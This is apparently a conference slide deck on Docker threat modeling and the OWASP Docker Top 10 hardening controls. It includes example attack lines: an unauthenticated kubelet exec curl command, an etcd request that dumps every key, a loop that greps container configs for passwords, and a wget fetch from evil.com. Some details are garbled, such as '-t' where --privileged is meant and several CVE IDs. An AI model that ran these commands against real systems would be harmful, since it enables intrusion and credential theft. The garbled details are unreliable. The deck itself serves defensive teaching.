Docker Threat Modeling und OWASP Docker Top 10

License of slides (except pictures)

http://creativecommons.org/licenses/by-nc-sa/4.0/


Dr. Dirk Wetter

@drwetter
Independent Consultant - Information Security
(self-employed)

Open Source

- Longtime smaller contributions
- TLS-Checker  testssl.sh
- Done this + that for OWASP
  - Europe Conference in Hamburg 2013

- 20+ years paid profession in infosec
- System, network + (web) application security
- Pentests, consulting, training
- Information security management
What is Container Security?

- **Docker**
  - Doesn’t *solve + create* any *application security* problems

→ is about *system and network security*.
  - *There* you need to be careful not creating attack surfaces
Does docker leak sensitive data to the kernel of a host machine it runs on?

5:55 PM - 2 Oct 2018 from Burbank, CA

2 Retweets 3 Likes
• Threats to my containers?

Enumerate!
• 1<sup>st</sup> **vector**: Application escape
  →  2<sup>nd</sup>: **Host**
**1st vector:** Application escape

→ **2nd:** Network
  - Other container
  - Host!
  - NFS, LDAP
  - ... and
• **1st vector:** Application escape

→ **2nd:** Network
  - Docker REST API /
  - Orchestration
• **2nd**: Network / Orchestration
  - Kubernetes: Insecure `kubelet` @ tcp/10250 (HTTPS) + 10255 (HTTP)

**Controlling access to the Kubelet**

Kubelets expose HTTPS endpoints which grant powerful control over the node and containers. By default, Kubelets allow unauthenticated access to this API. Production clusters should enable Kubelet authentication and authorization.

• **Default still open?** Fixes complete?
# Lists systems


# Code EXEC

curl -sk https://$IP:10250/exec|run/<ns>/<pod>/<container>/ -d "cmd=ls /"
2nd: Network / Orchestration

- CoreOS,

  etcd @ tcp/2379

Authentication Guide

Overview

Authentication – having users and roles in etcd – was added in etcd 2.1. This guide will help you set up basic authentication in etcd.

etcd before 2.1 was a completely open system; anyone with access to the API could change keys. In order to preserve backward compatibility and upgradability, this feature is off by default.

For a full discussion of the RESTful API, see the authentication API documentation.
I did a simple search on shodan and came up with 2,284 etcd servers on the open internet. So I clicked a few and on the third try I saw what I was hoping not to see. CREDENTIALS, a lot of CREDENTIALS. Credentials for things like cms_admin, mysql_root, postgres, etc.

[...] I wrote a very simple script that basically called the etcd API and requested all keys. That’s basically equivalent to doing a database dump but over their very nice REST API.

GET http://<ip address>:2379/v2/keys/?recursive=true

This will return all the keys stored on the servers in JSON format. So my script basically went down the list and created a file for each IP (127-0-0-1.json) with the contents of etcd. I stopped the script at about 750 MB of data and 1,485 of the original IP list.

From: https://gcollazo.com/the-security-footgun-in-etcd/
• **Target:** Orchestration tool
  - Research:
    • Exposed orchestration tools (Lacework: [PDF](#))
    • Internet!

**Open Management Interfaces and APIs**

**CONTAINERS AT-RISK**

A Review of 21,000 Cloud Environments
High Level Findings

- **22,672 OPEN ADMIN DASHBOARDS DISCOVERED ON INTERNET**
- **95% HOSTED INSIDE OF AMAZON WEB SERVICES (AWS)**
- **55% HOSTED IN AN AWS REGION WITH THE US (US-EAST MOST POPULAR)**
- **> 300 OPEN ADMIN DASHBOARDS OPEN WITH NO CREDENTIALS**

Platforms Discovered

We discovered the following applications during our research:

- Kubernetes
- Mesos Marathon
- Swagger API UI
- Red Hat Openshift
- Docker Swarm:
  - Portainer
  - Swarmpit
The initial point of entry for the Tesla cloud breach, Tuesday’s report said, was an unsecured administrative console for Kubernetes, an open source package used by companies to deploy and manage large numbers of cloud-based applications and resources.

"The hackers had infiltrated Tesla’s Kubernetes console which was not password protected," RedLock researchers wrote. "Within one Kubernetes pod, access credentials were exposed to Tesla’s AWS environment which contained an Amazon S3 (Amazon Simple Storage Service) bucket that had sensitive data such as telemetry."
• My dear neighbors

→ Other Containers
• Platform / Host
  - Think:
    • What’s wrong with my foundation??

Devs: Gross lack of knowledge

Does docker leak sensitive data to the kernel of a host machine it runs on?

5:55 PM - 2 Oct 2018 from Burbank, CA
Devs: Gross lack of knowledge

Eat this!
(zum $10^{10}$. Mal)

Kernel

all memory/
all processes /
all networking
Devs: Gross lack of knowledge

Also: geh mir nicht auf den ...

**What You Need To Know About TCP "SACK Panic"**

Published: 2019-06-18  
Last Updated: 2019-06-19 15:56:39 UTC  
by Johannes Ullrich (Version: 1)

Netflix discovered several vulnerabilities in how Linux (and in some cases FreeBSD) are processing the "Selective TCP Acknowledgment (SACK)" option [1]. The most critical of the vulnerabilities can lead to a kernel panic, rendering the system unresponsive. Patching this vulnerability is critical. Once an exploit is released, the vulnerability could be used to shut down exposed servers, or likely clients connecting to malicious services.

<table>
<thead>
<tr>
<th>CVE</th>
<th>Operating System Affected</th>
<th>Description/Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2019-11477</td>
<td>Linux &gt; 2.6.29</td>
<td>SACK processing integer overflow, Leads to kernel panic</td>
</tr>
<tr>
<td>CVE-2019-5599</td>
<td>FreeBSD</td>
<td>RACK Send Map SACK Slowness</td>
</tr>
<tr>
<td>CVE-2019-11479</td>
<td>Linux (all versions)</td>
<td>Excess Resource Consumption Due to Low MSS Values</td>
</tr>
</tbody>
</table>

Vulnerability Overview

[1] https://me.me/i/miners-miners-then-now-4733a2b6702d4730aa8c5093ecb33d25
Threat modeling

- Chances to mess up things considerably

Pictures: https://www.tagesschau.de/ausland/msc-zoe-113.html
• Integrity of images
  – Confidentiality?
• OWASP Docker Top 10

https://www.owasp.org/index.php/OWASP_Docker_Top_10
- Rather security controls than risks
- Do’s vs. Don’t’s
- home work + beyond
- 🤖 https://github.com/OWASP/Docker-Security

- Simplified examples + syntax
<table>
<thead>
<tr>
<th>Top #</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>D01</td>
<td>Secure User Mapping</td>
</tr>
<tr>
<td>D02</td>
<td>Patch Management Strategy</td>
</tr>
<tr>
<td>D03</td>
<td>Network Separation and Firewalling</td>
</tr>
<tr>
<td>D04</td>
<td>Secure Defaults and Hardening</td>
</tr>
<tr>
<td>D05</td>
<td>Maintain Security Contexts</td>
</tr>
<tr>
<td>D06</td>
<td>Protect Secrets</td>
</tr>
<tr>
<td>D07</td>
<td>Ressource Protection</td>
</tr>
<tr>
<td>D08</td>
<td>Container Image Integrity and Origin</td>
</tr>
<tr>
<td>D09</td>
<td>Follow Immutable Paradigm</td>
</tr>
<tr>
<td>D10</td>
<td>Logging</td>
</tr>
</tbody>
</table>
Introduction

- Threats
- Overview

D01 - Secure User Mapping
D02 - Patch Management Strategy
D03 - Network Separation and Firewalling
D04 - Secure Defaults and Hardening
D05 - Maintain Security Contexts
D06 - Protect Secrets
D07 - Resource Protection
D08 - Container Image Integrity and Origin
D09 - Follow Immutable Paradigm
D10 - Logging

What's Next?
D01 - Secure User Mapping

Threat Scenarios

The threat here is that a microservice is being offered to run under user root in the container. If the service contains a weakness the attacker has full privileges within the container. While there’s still some default protection left (Linux capabilities, either AppArmor or SELinux profiles) it removes many layers of protection. This extra layer broadens the attack surface. It also violates the least privilege principle [1] and from the OWASP perspective an insecure default.

For privileged containers (uucp/passwd) a breakeast from the microservice into the container is almost comparable to run with no container. Privileged containers endanger your whole host and all other containers.

How Do I prevent?

It is important to run your microservice with the least privilege possible.

First of all never use the -t option. It gives all so-called capabilities (see D04) to the container and it can access host devices, /dev/mqueue, and also has access to the /dev and /proc filesystem. With a little work the container can even load kernel modules on the host [2].

The good thing is that containers are per default unprivileged. You would have to configure them explicitly to run privileged.

However, running your microservice under a different user as root requires configuration. You need to configure your mini distribution of your container to both contain a user (and maybe a group) and your service needs to make use of this user and group.

Basically there are two choices.

In a simple container scenario if you build your container you have to add the user command or the user namespace with the appropriate parameters – respectively the same applies for group IDs. Then, before you start the microservice, the user namespace [2] switches to this user. Please note that a standard web server needs to use a port like 80 or 443. Configuring a user doesn’t let you bind the server on any port below 65535. There’s no need at all to bind to a low port for any service. You need to configure a higher port and map this port accordingly with the expose command [4], your mileage may vary if you’re using an orchestration tool.

The second choice would be using Linux user namespaces. Namespaces are a general means to provide to a container a different (linked) view of Linux kernel resources. There are different resources available like User, Network, PID, IPC, see Namespaces[2]. In the case of user namespaces a container could be provided with a view of a standard root user whereas the host kernel maps this to a different user ID. More, see [3], [4], namespaces[2] and user namespaces[2].

The catch using namespaces is that you can only run one namespace at a time. If you run user namespace you e.g., can’t use network namespace on the same host [5]. Also, all your containers on a host will be defaulted to it, unless you explicitly configure this differently per container.

In any case, use user IDs which haven’t been taken yet. If you e.g., run a service in a container which maps outside the container to a normal user, this is not necessarily better.

How can I find out?

Configuration

Depending on how you start your containers the first place is to have a look into the configuration / build file of your container whether it contains a user.

Runtime

Have a look in the process list of the host, or use docker top or docker inspect.

User namespaces

The files /proc/self/ns and /proc/self/ns/user do the UID mapping for all containers. If they don’t exist and /proc/self/ns/user doesn’t contain any other entries owned by root user, you’re not using any UID remapping. On the other hand if those files exist and there are files in that directory you still need to check whether your docker daemon was started with --userns=respawn or the config file /etc/docker/docker.conf was used.

References

[4] Docker Docs: Isolate containers with a user namespace

Commercial

### Top 1: Secure User Mapping (cont’d)

<table>
<thead>
<tr>
<th>UID</th>
<th>PID</th>
<th>PPID</th>
<th>C</th>
<th>PRI</th>
<th>STIME</th>
<th>TTY</th>
<th>TIME</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>5508</td>
<td>5491</td>
<td>3</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>12:41:34</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>20749</td>
<td>20731</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:08:34</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>23053</td>
<td>23036</td>
<td>1</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>04:43:48</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>25264</td>
<td>25247</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:03:03</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>26740</td>
<td>26712</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:54:23</td>
<td>java -Xmx512m -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>27841</td>
<td>27823</td>
<td>4</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>13:03:24</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>28187</td>
<td>28167</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:13:01</td>
<td>java -Xmx512m -jar -Dspring.profiles.active=prod -prod /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>29232</td>
<td>29213</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>02:27:11</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>30917</td>
<td>30898</td>
<td>0</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>01:56:59</td>
<td>java -Xmx1536m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>34542</td>
<td>34519</td>
<td>5</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>06:59:13</td>
<td>java -Xmx512m -jar /auth.war</td>
</tr>
<tr>
<td>root</td>
<td>50270</td>
<td>50194</td>
<td>4</td>
<td>80</td>
<td>Sep27</td>
<td>?</td>
<td>15:15:31</td>
<td>java -Xmx512m -jar /auth.war</td>
</tr>
<tr>
<td>root</td>
<td>56683</td>
<td>56663</td>
<td>40</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>2-02:56:14</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>58309</td>
<td>58291</td>
<td>7</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>09:15:46</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62418</td>
<td>62335</td>
<td>1</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:27:41</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62634</td>
<td>62611</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:53:55</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>62963</td>
<td>62930</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:31:46</td>
<td>java -Xmx512m -jar -Dspring.profiles.active=prod /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>64175</td>
<td>64157</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:47:43</td>
<td>java -Xmx512m -jar /appnl.jar</td>
</tr>
<tr>
<td>root</td>
<td>65288</td>
<td>65267</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:03:07</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>65649</td>
<td>65626</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>00:52:27</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>66177</td>
<td>66158</td>
<td>0</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>01:04:33</td>
<td>java -Xmx1536m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
<tr>
<td>root</td>
<td>68013</td>
<td>67993</td>
<td>11</td>
<td>80</td>
<td>Aug29</td>
<td>?</td>
<td>14:00:31</td>
<td>java -Xmx512m -Dspring.profiles.active=prod -jar /mainappl.jar</td>
</tr>
</tbody>
</table>
• **Top 1: Secure User Mapping**
  - ~ fix it: Running nginx as non-privileged user

```bash
FROM ubuntu
MAINTAINER
RUN apt-get update
RUN apt-get install -y nginx
COPY index.html /usr/share/nginx/html/
RUN adduser [..] minion

USER minion
ENTRYPOINT ["/usr/sbin/nginx","-g","daemon off;"]
EXPOSE 80:8080
```
Top 1: Secure User Mapping (cont’d)

- Workaround: Remap *user namespaces*
  - *user_namespaces*(7)
  - [https://docs.docker.com/engine/security/userns-remap/#enable-users-remap-on-the-daemon](https://docs.docker.com/engine/security/userns-remap/#enable-users-remap-on-the-daemon)
- Nutshell:
  - Configure
    - *mapping* in `/etc/subuid` and `/etc/subgid`
    - `/etc/docker/daemon.json`
  - Start `dockerd` with `--users-remap <mapping>`
- Limits:
  - Global to `dockerd`
  - PID ns / net ns
• Top 1: Secure User Mapping (cont’d)
  – Be careful with low UIDs!
    • e.g. systemd-* has ~100-115, ~999
  – Fix problems from AppArmor/SELinux instead switching it off.
  – Please no --privileged either!
• Top 2: Patch Management Strategy
  - Host
  - Container Orchestration
  - Container Images
  - Container Software
• Top 2: Patch Management Strategy
  – Host
    • Kernel-Syscalls
      – Window for privilege escalation!
    • Hopefully nothing is exposed, see D04
Top 2: Patch Management Strategy

- Container Orchestration

- Don’t forget to patch the management as needed ;-)}
## Kubernetes Security Vulnerabilities

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9  
Sort Results By: CVE Number Descending, CVE Number Ascending, CVSS Score Descending, Number Of Exploits Descending

<table>
<thead>
<tr>
<th>#</th>
<th>CVE ID</th>
<th>CWE ID</th>
<th># of Exploits</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Gained Access Level</th>
<th>Access</th>
<th>Complexity</th>
<th>Authentication</th>
<th>Conf.</th>
<th>Integ.</th>
<th>Avail.</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2016-1906</td>
<td>264</td>
<td>+Priv</td>
<td>2016-02-03</td>
<td>2017-05-18</td>
<td>10.0</td>
<td>None</td>
<td>Remote</td>
<td>Low</td>
<td>Not required</td>
<td>Complete</td>
<td>Complete</td>
<td>Complete</td>
<td></td>
</tr>
</tbody>
</table>

- Openshift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed.

| 2 | CVE-2017-100055 | 264 | 2017-07-17 | 2017-08-04 | 7.5 | None | Remote | Low | Not required | Partial | Partial | Partial |

- Kubernetes version 1.5.0-1.5.4 is vulnerable to a privilege escalation in the PodSecurityPolicy admission plugin resulting in the ability to make use of any existing PodSecurityPolicy object.

| 3 | CVE-2016-1002101 | 77 | 2018-12-05 | 2019-04-25 | 7.5 | None | Remote | Low | Not required | Partial | Partial | Partial |

- In Kubernetes versions 1.9.0-1.9.9, 1.10.0-1.10.5, and 1.11.0-1.11.1, user input was handled insecurely while setting up volume mounts on Windows nodes, which could lead to command line argument injection.

| 4 | CVE-2018-1002105 | 388 | 2018-12-05 | 2019-06-28 | 7.5 | None | Remote | Low | Not required | Partial | Partial | Partial |

- In all Kubernetes versions prior to v1.10.11, v1.11.5, and v1.12.3, incorrect handling of error responses to proxied upgrade requests in the kube-apiserver allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers, then send arbitrary requests over the same connection directly to the backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

| 5 | CVE-2016-7075 | 295 | Bypass | 2018-09-10 | 2018-11-16 | 6.8 | None | Remote | Medium | Not required | Partial | Partial | Partial |

- It was found that Kubernetes as used by Openshift Enterprise 3 did not correctly validate X.509 client intermediate certificate host name fields. An attacker could use this flaw to bypass authentication requirements by using a specially crafted X.509 certificate.

| 6 | CVE-2019-1002101 | 59 | 2019-04-01 | 2019-06-21 | 5.0 | None | Remote | Medium | Not required | None | Partial | Partial |

- The kubelet cp command allows copying files between containers and the user machine. To copy files from a container, Kubernetes creates a tar inside the container, copies it over the network, and kubelet unpacks it on the user’s machine. If the tar binary in the container is malicious, it could run any code and output unexpected, malicious results. An attacker could use this to write files to any path on the user’s machine when kubelet cp is called, limited only by the system permissions of the local user. The unar function can both create and follow symbolic links. The issue is resolved in kubelet v1.11.9, v1.12.7, v1.13.5, and v1.14.0.

| 7 | CVE-2015-7526 | 200 | +Info | 2016-04-11 | 2016-06-15 | 5.0 | None | Remote | Low | Not required | Partial | None | None |

- Kubernetes before 1.2.0-alpha.5 allows remote attackers to read arbitrary pod logs via a container name.

| 8 | CVE-2019-9946 | 254 | 2019-04-02 | 2019-06-14 | 5.0 | None | Remote | Low | Not required | None | Partial | None |

- Cloud Native Computing Foundation (CNCF) CNI (Container Networking Interface) 0.7.4 has a network firewall misconfiguration which affects Kubernetes. The CNI ‘portmap’ plugin, used to setup HostPorts for CNI, inserts rules at the front of the iptables nat chains; which take precedence over the KUBE-SERVICES chain. Because of this, the HostPort/portmap rule could match incoming traffic even if there were better fitting, more specific service definition rules like NodePorts later in the chain. The issue is fixed in CNI 0.7.5 and Kubernetes 1.11.5, 1.12.7, 1.13.5, and 1.14.0.

OWASP_KA Stammtisch, 1.7.2019 © Dirk Wetter CC 4.0 BY-NC-SA
Top 2: Patch Management Strategy

- Mini-Distro Images
  - Do often: Tear down & fresh deploy
  - Best: Unit testing before.
• **Top 2: Patch Management Strategy**
  
  - **Docker / Container Software**
    - `dockerd`, `docker-containerd-shim`
    - `libs`, ...
Top 2: Patch Management Strategy

- Need to have a process
  - Standard patches
  - Emergency

Keep the time slot for attackers as small as possible!
Top 3/10

- **Top 3: Network Separation & Firewalling**
  - Basic DMZ techniques
    - Internal
• Top 3: Network Separation & Firewallsing
  
  – Network segmentation
    • Depends on
      – Network driver
      – Configuration
  
  – Firewallsing
    • Deny all
    • White list only what’s needed
• Top 4: Secure Defaults and Hardening

  – Three domains
    • Orchestration tool
    • Host
    • Container image hardening
• Top 4: Secure Defaults and Hardening

  - Three domains
    • Orchestration tool
    • Host
    • Container image hardening
Top 4: Secure Defaults and Hardening

- **Orchestration** tool’s management interfaces
  - Lock down
    - Network access
    - Interface with AuthN
Top 4: Secure Defaults and Hardening

- Host: OS
  - A standard Debian / Ubuntu ... is a standard Debian / Ubuntu
    - No useless junk
    - Custom hardening
  - Specialized container OS like
    - CoreOS (RH)
    - Snappy Ubuntu Core
    - Project Atomic (RH)
    - VMWare Photon (FLOSS!)
  - PaX-/grsecurity
Top 4: Secure Defaults and Hardening

- **Host: Services**
  - Only what is needed!
  - Not needed:
    - Avahi
    - RPC services
    - CUPS
    - SMB / NFS
Top 4: Secure Defaults and Hardening

- Host: Services
  - Only what is needed!
  - Needed:
    - SSH + NTP
    - DHCP?

Vulnerability Details: CVE-2018-7183
- CVSS Score: 7.5
- Buffer overflow in the decodearr function in ntpq in ntp 4.2.8p6 through 4.2.8p10 allows remote attackers to execute arbitrary code by leveraging an ntpq query and sending a response with a crafted array.
- Publish Date: 2018-03-08 Last Update Date: 2019-01-24

Vulnerability Details: CVE-2009-0692
- CVSS Score: 10.0
- Stack-based buffer overflow in the script_write_params method in client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before 4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to execute arbitrary code via a crafted subnet-mask option.
- Publish Date: 2009-07-14 Last Update Date: 2017-09-28

→ protect externally & from containers!
Top 4: Secure Defaults and Hardening

- Container
  - ~one microservice per container
  - Minimum principle
    - (Oh, please: no SSHD and 😣)
  - Best: no Debian / Ubuntu
  - Alpine
    - Busybox
      - But: wget / netcat
  - Distroless (bazel, see here)
Top 4: Secure Defaults and Hardening

- **Container**
  - SUID (SGID)
    - `--security-opt no-new-privileges`
  - Seccomp (chrome)
  - `--security-opt seccomp=yourprofile.json`
  - Linux Capabilities
    - `--cap-drop`

```
dirks@laptop:~> 0% sudo pscap | grep redis
31222 31262 root   redis-server  chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
```

```
dirks@laptop:~> 0%  
```
• Top 5: Maintain Security Contexts
Top 5: Maintain Security Contexts

- No Mix Prod / Dev
  - Apprentice/Student testing code in Prod
  - Prod: No random code (docker run <somearbitraryimage>)
- Do not mix
  - front end / back end services
- CaaS
  - Tenants
• **Top 6: Protect Secrets**
  - Where to: Keys, certificates, credentials, etc ???
    - Image ??
    - Env variables?
      - `docker run -e SECRET=myprprecious ID`
      - Careful!
    - `for c in $(docker ps -q); do
      • docker inspect $c | grep PASS
    done`
  - LDAP_PASSWORD, SLAPD_PASSWORD,
  - MONGO_PASSWORD*, POSTGRESQL_PASS*
  - FTP_PASSWORD,
  - SPRING_PASS*,
  - JWT_HMAC*
  - ...

check_mk

http://www.eoht.info/page/Chicken+and+egg+problem
Top 6: Protect Secrets

- Where to: Keys, certificates, credentials, etc ???
  - Image ??
  - Env variables?
    - `docker run -e SECRET=myprrecious ID`
  - Pointer
    - `docker run --env-file ./secretsfile.txt ID`
- Kubernetes + YAML secrets: be careful

For example, to store two strings in a Secret using the data field, convert them to base64 as follows:

```
echo -n 'admin' | base64
YWRtaW4=
echo -n '1f2d1e2e67df' | base64
MWYyZDF1MmU2N2Rm
```
Top 6: Protect Secrets

- Where to: Keys, certificates, credentials, etc ???
  - Image ??
  - Env variables?
    - `docker run -e SECRET=myprrecious ID`
  - Pointer
- Kubernetes + YAML secrets: be careful
- mounts
  - Secret mounts
    - `/run/secrets`
    - Ähnlich k8

```yaml
version: "3.7"
services:
  redis:
    image: redis:latest
    deploy:
      replicas: 1
    secrets:
      - my_secret
      - my_other_secret

secrets:
  my_secret:
    file: ./my_secret.txt
  my_other_secret:
    external: true
```
• **Top 6: Protect Secrets**
  - Long living passwords are out!
  - Key / value stores (FLOSS):
    • Vault
    • Crypt
    • Keywhiz
Top 7: Resource Protection

- Resource Limits (cgroups)
  - --memory=
  - --memory-swap=
  
  - --cpu-<cpu-flags>
    - --cpu-shares=<percent>

- Also: --pids-limit XX

→ docker-run(1)
• **Top 7: Resource Protection**

  - **Mounts!**
    - If not necessary: Don’t do it
    - If really necessary + possible: r/o
    - If r/w needed: limit writes (FS DoS)
Top 8/10

**Top 8: Container Image Integrity and Origin**

- Basic trust issue
  - Running arbitrary code from *somewhere*?
- Image pipeline
  - No writable shares
  - Proper: Privilege / ACL management
Top 8: Container Image Integrity and Origin

- Docker content trust

```bash
dirks@laptop:~$ 0% export DOCKER_CONTENT_TRUST=1
dirks@laptop:~$ 0% docker pull nginx
Using default tag: latest
Pull (1 of 1): nginx:latest@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4: Pulling from library/nginx
683abb44ea60: Pull complete
a58abb4a7990: Pull complete
b43279c1d51c: Pull complete
Digest: sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
Status: Downloaded newer image for nginx@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4
```

```bash
Tagging nginx@sha256:62a095e5da5f977b9f830adaf64d604c614024bf239d21068e4ca826d0d629a4 as nginx:latest
```

```bash
dirks@laptop:~$ 0% docker pull drwetter/testssl.sh
Using default tag: latest
Error: remote trust data does not exist for docker.io/drwetter/testssl.sh: notary.docker.io does not have trust data for docker.io/drwetter/testssl.sh
```

```bash
dirks@laptop:~$ 1% ▼
```
• Top 8: Container Image Integrity and Origin
  - Docker content trust
  - https://docs.docker.com/notary/getting_started/
• **Top 9: Follow Immutable Paradigm**
  
  - Least Privilege
    - `docker run --read-only ...`
    - `docker run -v /hostdir:/containerdir:ro`
  
  - Attacker
    - `wget http://evil.com/exploit_dl.sh`
    - `apt-get install / apk add`

  - **Limits:** Container *really* needs to write (too often!)
    - Upload of files
    - R/w host mounts
Top 10: Logging
- Tear down container: logs lost

Remote logging
- Container
  - Application
  - Any system server in container (Web, Appl., DB, etc.)
- (Container)
- Orchestration
- Host
  - Plus: Linux auditing (syscalls)
OWASP Docker Top 10

About Docker Top 10

The OWASP Docker Top 10 project is giving you ten bullet points to plan and implement a secure environment. Those 10 points are ordered by relevance. They don’t represent risks as each single 10, they represent security controls. The controls range from baseline security to more advanced security requirements.

You should use it as a

- guidance in the design phase as a system specification or
- for auditing a docker environment,
- also for procurement it could provide a basis for specifying requirements in contracts.

FAQ

Why not "Container Security"

Albeit the name of this project carries the word “Docker”, it also can be used with little abstraction for other containment solutions. Docker as of now the most popular one, so the in-depth details are focusing for now on Docker. This could change later.
Tools

- DIY
  - Netz: Nmapping
  - Host: Lynis / Vuln. Scanner
    - Docker CIS benchmark
    - https://github.com/docker/docker-bench-security
    - docker inspect / network inspect
  - Images: Image Vulnerability Scanner
Thank you!

@drwetter